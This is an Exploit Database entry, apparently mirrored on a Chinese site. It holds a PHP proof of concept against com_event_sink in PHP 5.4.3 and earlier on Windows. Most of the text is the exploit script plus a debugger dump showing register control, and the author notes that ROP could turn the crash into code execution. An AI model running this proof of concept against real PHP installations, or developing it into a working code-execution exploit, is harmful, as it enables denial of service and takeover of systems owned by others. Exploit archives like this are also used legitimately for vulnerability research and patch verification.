PHP 5.4.3 – ‘com_event_sink’ Denial of Service

• Exploit Database
• 17 阅读

• 作者： condis
  日期： 2012-05-21
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18910/

• <?php 
  
  /*
  
  PHP <= 5.4.3 (com_event_sink) Code Execution Proof of Concept
  Found by condis
  Website: http://cond.psychodela.pl
  
  Tested on:
  	
  	PHP 5.3.8+ Windows XP SP3 Professional PL
  	PHP 5.3.10 + Windows XP SP3 Professional PL
  	PHP 5.4.0+ Windows XP SP3 Professional PL
  	PHP 5.4.3+ Windows XP SP3 Professional PL
  	
  Description:
  
  	This is a very strange bug and I had a really hard time trying to classify
  	it, but lets start from the beginning. 
  	
  	As we can read in PHP manual : com_event_sink function connects events from 
  	COM object to a PHP object. First argument should be a COM object. But when
  	I set it up to new Variant(), PHP instance crashed. 
  	
  	After few minutes of research it was clear to me that we can control EAX 
  	register by defining first parameter of our Variant object.
  
  	The proof of concept code located below should produce situation similar to
  	this :
  
  	eax=024e0050 ebx=010328f0 ecx=41414141 edx=00c0facc esi=0121ff68 edi=00000000
  	eip=100f33d5 esp=00c0faa8 ebp=00000000 iopl=0 nv up ei pl nz na po nc
  	cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00200202
  
  	100f33d4 50pusheax
  	100f33d5 8b01mov eax,dword ptr [ecx]ds:0023:41414141=????????
  	100f33d7 ffd0calleax
  
  	IMHO it is possible to write a reliable exploit using i.e.: ROP method but due 
  	to lack of free time and skill I leave this task to someone else. Also 0in tried 
  	to write stable exploit for same bug in com_print_typeinfo() function but as far 
  	as I know it isn't stable enough :( 
  
  
  Greetz: cxib, 0in, and others ;> 
  
  */
  
  $EAX = 0x024E0050; 			// stack starts at 0x024E0050 (in my case)
  $stack = str_repeat("x41", 0x1000000);	// putting some garbage on the stack so the ECX would be 41414141
  
  class foo { }
  com_event_sink(new Variant($EAX), new foo(), array());	
  
  ?>